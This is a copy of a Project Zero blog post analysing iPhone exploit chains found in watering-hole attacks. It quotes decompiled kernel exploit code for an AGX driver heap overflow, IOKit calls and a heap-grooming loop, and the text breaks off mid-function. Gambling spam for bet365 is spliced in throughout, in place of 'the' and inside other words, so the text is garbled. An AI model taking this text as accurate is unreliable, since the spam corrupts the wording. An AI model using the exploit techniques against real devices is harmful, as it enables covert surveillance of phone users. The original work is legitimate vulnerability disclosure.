Thursday, August 29, 2019

A very deep dive into iOS Exploit chains found in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wild

Posted by Ian Beer, Project Zero


Project Zero’s mission is to make 0-day hard. We often work with ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r companies to find and report security vulnerabilities, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ultimate goal of advocating for structural security improvements in popular systems to help protect people everywhere.  

Earlier this year Google's Threat Analysis Group (TAG) discovered a small collection of hacked websites. The hacked sites were being used in indiscriminate watering hole attacks against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir visitors, using iPhone 0-day.  

There was no target discrimination; simply visiting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hacked site was enough for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit server to attack your device, and if it was successful, install a monitoring implant. We estimate that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se sites receive thousands of visitors per week.  

TAG was able to collect five separate, complete and unique iPhone exploit chains, covering almost every version from iOS 10 through to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 latest version of iOS 12. This indicated a group making a sustained effort to hack cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 users of iPhones in certain communities over a period of at least two years.

I’ll investigate what I assess to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 root causes of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerabilities and discuss some insights we can gain into Apple's software development lifecycle. The root causes I highlight here are not novel and are often overlooked: we'll see cases of code which seems to have never worked, code that likely skipped QA or likely had little testing or review before being shipped to users.

This diagram shows a timeline from 13 September 2016 through 22 January 2019 and a breakdown during that period of which versions of iOS where supported by which exploit chain. The only gap appears between 12 December 2016 and 27 March 2017. The iPhone 8, 8+ and X are supported from their launch version of iOS (iOS 11) but the Xr and Xs aren't.

Working with TAG, we discovered exploits for a total of fourteen vulnerabilities across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 five exploit chains: seven for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iPhone’s web browser, five for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel and two separate sandbox escapes. Initial analysis indicated that at least one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privilege escalation chains was still 0-day and unpatched at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of discovery (CVE-2019-7287 & CVE-2019-7286). We reported cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se issues to Apple with a 7-day deadline on 1 Feb 2019, which resulted in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out-of-band release of iOS 12.1.4 on 7 Feb 2019. We also shared cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete details with Apple, which were disclosed publicly on 7 Feb 2019.

Now, after several months of careful analysis of almost every byte of every one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit chains, I’m ready to share cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se insights into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real-world workings of a campaign exploiting iPhones en masse.

This post will include:
  • detailed write-ups of all five privilege escalation exploit chains;
  • a teardown of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant used, including a demo of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant running on my own devices, talking to a reverse-engineered command and control server and demonstrating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capabilities of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant to steal private data like iMessages, photos and GPS location in real-time, and
  • analysis by fellow team member Samuel Groß on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser exploits used as initial entry points.

Let’s also keep in mind that this was a failure case for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker: for this one campaign that we’ve seen, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are almost certainly ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs that are yet to be seen.

Real users make risk decisions based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 public perception of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se devices. The reality remains that security protections will never eliminate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 risk of attack if you're being targeted. To be targeted might mean simply being born in a certain geographic region or being part of a certain ethnic group. All that users can do is be conscious of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that mass exploitation still exists and behave accordingly; treating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir mobile devices as both integral to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir modern lives, yet also as devices which when compromised, can upload cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir every action into a database to potentially be used against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m.

I hope to guide cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 general discussion around exploitation away from a focus on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 million dollar dissident and towards discussion of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 marginal cost for monitoring cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 n+1'th potential future dissident. I shan't get into a discussion of whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se exploits cost $1 million, $2 million, or $20 million. I will instead suggest that all of those price tags seem low for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capability to target and monitor cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 private activities of entire populations in real time.

I recommend that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se posts are read in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following order:

In-cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365-wild iOS Exploit Chain 1

Posted by Ian Beer, Project Zero

TL;DR

This exploit provides evidence that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se exploit chains were likely written contemporaneously with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir supported iOS versions; that is, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit techniques which were used suggest that this exploit was written around cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of iOS 10. This suggests that this group had a capability against a fully patched iPhone for at least two years.  

This is one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 three chains (of five chains total) which exploit only one kernel vulnerability that was directly reachable from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Safari sandbox.

In-cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365-wild iOS Exploit Chain 1 - AGXAllocationList2::initWithSharedResourceList heap overflow

We'll look first at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 earliest chain we found. This targets iOS 10.0.1-10.1.1 and has probably been active since September 2016.

targets: 5s through 7, 10.0.1 through 10.1.1

supported version matrix:
iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)

version support is slightly different between platforms:
iPhone 6,*;7,*;8,*:
14A403 (10.0.1 - 13 Sep 2016) this is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first public version of iOS 10
14A456 (10.0.2 - 23 Sep 2016)
14B72 (10.1 - 24 Oct 2016)
14B100 (10.1.1 - 31 Oct 2016) 
14B150 (10.1.1 - 9 Nov 2016)

iPhone 9,*:
14A403 (10.0.1 - 13 Sep 2016)
14A456 (10.0.2 - 23 Sep 2016)
14A551 (10.0.3 - 17 Oct 2016) : NOTE: this version was iPhone 7 only; "cellular connectivity problem)
14B72c (10.1 - 24 Oct 2016)
14B100 (10.1.1 - 31 Oct 2016) 
14B150 (10.1.1 - 9 Nov 2016)

First unsupported version: 10.2 - 12 December 2016

The first kernel vulnerability

The first kernel vulnerability is a heap overflow in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function AGXAllocationList2::initWithSharedResourceList, part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 com.Apple.AGX kext, a driver for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 embedded GPU in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iPhone. The vulnerability is reachable from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WebContent sandbox, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no separate sandbox escape vulnerability.

AGXAllocationList2::initWithSharedResourceList is a C++ virtual member method which takes two arguments, a pointer to an IOAccelShared2 object and a pointer to an IOAccelSegmentResourceListHeader object. That resource list header pointer points to memory which is shared with userspace and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents are fully attacker-controlled. The bug lies in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code which parses that resource list structure. The structure looks like this:


layout of the structure in shared memory showing the header structure containing the number of sub-descriptor entries then the repeating sub-descriptors. The sub-descriptors contain resource-id and flags fields, and the final 16 bit value is a count of the number of entries in this sub-descriptor.



There's an 0x18 byte header structure, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last dword of which is a count of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of following sub-descriptor structures. Each of those sub-descriptor structures is 0x40 bytes, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last two bytes being a uint16_t count of sub-entries contained in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sub-descriptor.

The sub-descriptor contains two arrays, one of dword resource-id values, and one of two-byte flags. They are meant to be seen as pairs, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first flag matching up with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first resource id.

The driver reads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 n_entries value from shared memory and multiplies it by 6 to determine what it believes should be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 maximum total number of sub-resources across all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sub-descriptors:

n_entries = *(_DWORD *)(shmem_ptr + 0x14);
n_max_subdescriptors = 6 * n_entries;

This value is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n multiplied by 8, as for each subresource_id cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y'll store a pointer:


resources_buf = IOMalloc(8 * n_max_subdescriptors);

The code cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n continues on to parse cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sub-descriptors:


n_entries = *(_DWORD *)(shmem_ptr + 0x14);
...
void* resource = NULL;
size_t total_resources = 0;
input = (struct input*)shmem_ptr;
struct sub_desc* desc = &input->descs[0];
for (i = 0; i < n_entries; i++) {
  for (int j = 0; j < desc->n_sub_entries; j+) {
    
    int err = IOAccelShared2::lookupResource(ioaccel_shared,
                                             desc->resource_ids[j],
                                             &resource);
    if (err) {
      goto fail;
    }

    unsigned short flags = desc->flags[j];

    if (flags_invalid(flags)) {
      goto fail;
    }
    resources_buf[total_resources++] = resource;
  }
...
}

The issue is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code never validates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 assumption that each sub-descriptor has at-most 6 sub-entries; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's actually space in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure for 7 completely controlled resource_id and flag pairs. The code assumes that resources_buf was allocated for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worst case of 6 entries per sub-descriptor, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are no bounds checks when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 loop writes to resources_buf.


Since n_entries is completely controlled, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker can control cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size passed to IOMalloc. They can also control cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of sub-descriptors which contain 7 racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than 6 entries, allowing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to write a controlled number of pointers off cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target IOMalloc allocation. Those will be pointers to IOAccelResource2 objects.

Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second fetch of n_entries from shared memory isn't a decompiler error; it's really cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary:

fetch 1:
com.apple.AGX:__text:FFFFFFF006B54800 LDR  W8, [X19,#0x14]
...
fetch 2:
com.apple.AGX:__text:FFFFFFF006B548B4 LDR  W8, [X19,#0x14]

This is not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug which was exploited; in fact this variant wasn't fixed until iOS 12. See cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code in Appendix A for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trigger for this variant. Note that this would have meant that with only minor changes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit would have continued to work for years after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial patch. The variant overflows cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same buffer with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same values.

start

All cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploits start by calling task_threads() cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n thread_terminate() in a loop to stop all ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r running threads in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WebContent task where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers get initial remote code execution.

This first chain uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system loader to resolve symbols but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y chose to not link against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurface framework which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y use, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y call dlopen() to get a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurface.dylib userspace library and resolve two function pointers (IOSurfaceCreate and IOSurfaceGetID) via dlsym(). These will be used later.

System Identification

They read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hw.machine sysctl variable to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device model name (which is a string like "iPhone6,1") and read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ProductBuildVersion value from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CFDictionary returned by  CFCopySystemVersionDictionary() to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OS build ID. From this combination cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can determine exactly which kernel image is running on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device.

They format this information into a string like "iPhone6,1(14A403)" (which would be for iOS 10.0.1 running on iPhone 5S.) From cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 __DATA segment of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit binary cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y read a serialized NSDictionary (via [NSKeyedUnarchiver unarchiveObjectWithData:].) The dictionary maps cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 supported hardware and kernel image pairs to structures containing pointers and offsets used later in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit.

{
    "iPhone6,1(14A403)" = ;
    "iPhone6,1(14A456)" = ;
....}

They read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hw.memsize sysctl to determine whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device has more than 1GB of RAM. Devices with 1GB of RAM (5s, 6, 6 plus) use a 4kB physical page size, whereas those with more than 1GB of RAM use 16kB physical pages. This difference is important because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel zone allocator has slightly different behaviour when physical page sizes are different. We'll look more closely at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se differences when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y become relevant.

Exploitation

They open an IOSurfaceRootUserClient:

matching_dict = IOServiceMatching("IOSurfaceRoot");
ioservice = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict);
IOServiceOpen(ioservice,
              mach_task_self(),
              0, // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userclient type
              &userclient);

IOSurfaces are intended to be used as buffers for graphics operations, but none of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploits use this intended functionality. Instead cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y use one ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r very convenient feature: cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to associate arbitrary kernel OSObjects with an IOSurface for heap grooming.

The documentation for IOSurfaceSetValue nicely explains its functionality:

This call lets you attach CF property list types to an IOSurface buffer. This call is expensive (it must essentially serialize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel) and thus should be avoided whenever possible.

Those Core Foundation property list objects will be serialized in userspace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel will deserialize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir corresponding OSObject types and attach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurface:

CFDictionary -> OSDictionary
CFSet        -> OSSet
CFNumber     -> OSNumber
CFBoolean    -> OSBoolean
CFString     -> OSString
CFData       -> OSData

The last two types are of particular interest as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're variable-sized. By serializing different length CFString and CFData objects as IOSurface properties you can exercise quite a lot of control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel heap. Even more importantly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se properties can be read back in a non-destructive way via IOSurfaceCopyValue, making cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m an excellent target for building memory disclosure primitives from memory corruption vulnerabilities. We'll see both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se techniques used multiple times across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit chains.

What is IOKit?

IOKit is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 framework used in iOS for building device drivers. It's written in C++ and drivers can make use of object-oriented features, such as inheritance, to aid cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rapid development of new code.

An IOKit driver which wishes to communicate with userspace in some way consists of two major parts: an IOService and an IOUserClient (often just called a user client.)

IOServices can be thought of as providing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 functionality of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 driver.

The IOUserClient is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOService and userspace clients of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 driver. There can be a large number of IOUserClients per IOService, but typically cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's only one (or a small number) of IOServices per hardware device.

The reality is of course more complex, but this simplified view suffices to understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 relevance of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack surfaces.

A very simplified hierarchical view of IOKit, showing the hardware layer, then IOService objects and IOUserClients in the kernel and user client mach port send rights in userspace.

Talking to IOKit

Userspace communicates with IOUserClient objects via external methods. These can be thought of as syscalls exposed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOUserClient objects to userspace, callable by any process which has a send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach port representing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOUserClient object. External methods are numbered and can take variable sized input arguments. We'll look in great detail at exactly how this works when it becomes necessary for future exploits in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 series.

Let's get back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first exploit chain and see how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y get started:

Setting up cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trigger

They open an AGXSharedUserClient:

matching_dict = IOServiceMatching("IOGraphicsAccelerator2");
agx_service = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict)
AGXSharedUserClient = 0;
IOServiceOpen(agx_service,
              mach_task_self(),
              2, // type -> AGXSharedUserClient
              &AGXSharedUserClient)

In IOKit parlance matching is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process of finding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct device driver for a purpose; in this case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 matching system to open a user client connection to a particular driver.

The call to IOServiceOpen will invoke a sandbox policy check. Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 relevant section from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 com.apple.WebKit.WebContent.sb sandbox profile on iOS which allows access to this IOKit device driver from inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MobileSafari renderer process:

(allow iokit-open
       (iokit-user-client-class "IOSurfaceRootUserClient")
       (iokit-user-client-class "IOSurfaceSendRight")
       (iokit-user-client-class "IOHIDEventServiceFastPathUserClient")
       (iokit-user-client-class "AppleKeyStoreUserClient")
       (require-any (iokit-user-client-class "IOAccelDevice")
                    (iokit-user-client-class "IOAccelDevice2")
                    (iokit-user-client-class "IOAccelSharedUserClient")
                    (iokit-user-client-class "IOAccelSharedUserClient2")
                    (iokit-user-client-class "IOAccelSubmitter2")
                    (iokit-user-client-class "IOAccelContext")
                    (iokit-user-client-class "IOAccelContext2"))
       (iokit-user-client-class "IOSurfaceAcceleratorClient")
       (extension "com.apple.security.exception.iokit-user-client-class")
       (iokit-user-client-class "AppleJPEGDriverUserClient")
       (iokit-user-client-class "IOHIDLibUserClient")
       (iokit-user-client-class "IOMobileFramebufferUserClient"))

AGXSharedUserClient, though not explicitly mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 profile, is allowed because it inherits from IOAccelSharedUserClient2. This human-readable version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sandbox profile was generated by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sandblaster tool from an iOS 11 kernelcache.

I mentioned earlier that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug is triggered by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel reading a structure from shared memory; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next step in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit is to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 AGX driver's external method interface to allocate two shared memory regions, using external method 6 (create_shmem) of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 AGXSharedUserClient:

create_shmem_result_size = 0x10LL;
u64 scalar_in = 4096LL; // scalar in = size
v42 = IOConnectCallMethod(
        AGXSharedUserClient,
        6,          // selector number for create_shmem external method
        &scalar_in, // scalar input, value is shm size
        1,          // number of scalar inputs
        0,
        0,
        0,
        0,
        &create_shmem_result,       // structure output pointer
        &create_shmem_result_size); // structure output size pointer

IOConnectCallMethod is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main (though not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sole) way to call external methods on userclients. The first argument is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach port name which represents this userclient connection. The second is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 external method number (called cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 selector.) The remaining arguments are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 inputs and outputs.

This method returns a 16-byte structure output which looks like this:

struct create_shmem_out {
  void* base;
  u32 size;
  u32 id;
};

base is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 task where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 driver mapped cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shared memory, size is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size and id a value used to refer to this resource later.

They allocate two of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se shared memory regions; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first is left empty and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second will contain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trigger allocation list structure.

They also create a new IOAccelResource with ID 3 via cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 AGXSharedUserClient external method 3 (IOAccelSharedUserClient::new_resource.)

Heap groom

The loop containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trigger function is very curious; right before triggering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y create around 100 threads. For me when I was first trying to determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 root-cause of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y were exploiting this pointed towards one of two things:

  1. They were exploiting a race condition bug.
  2. They were trying to remove noise from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap, by busy looping many threads and preventing ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r processes from using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel heap.

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 outer loop which is creating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 threads:

for (int i = 0; i < constant_0x10_or_0x13 + 1; i++) {
  for ( j = 0; j < v6 - 1; ++j ){
    pthread_create(&pthread_t_array[iter_cnt],
                   NULL,
                   thread_func,
                   &domain_socket_fds[2 * iter_cnt]);
    while (!domain_socket_fds[2 * iter_cnt] ) {;};
    n_running_threads = ++iter_cnt;
     usleep(10);
  }
  send_kalloc_reserver_message(global_mach_port[i + 50],
                               target_heap_object_size,
                               1);
}

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function passed to pthread_create, it's pretty clear that neicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r of those hypocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ses were even close to accurate:
void* thread_func(void* arg) {
  int sockets[2] = {0};  

  global_running_threads++;
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
    return NULL;
  }

  char buf[256];
  struct msghdr_x hdrs[1024] = {0};
  
  struct iovec iov;
  iov.iov_base = buf;
  iov.iov_len = 256;

  for (int i = 0; i < constant_value_from_offsets/0x20; i++) {
    hdrs[i].msg_iov = &iov;
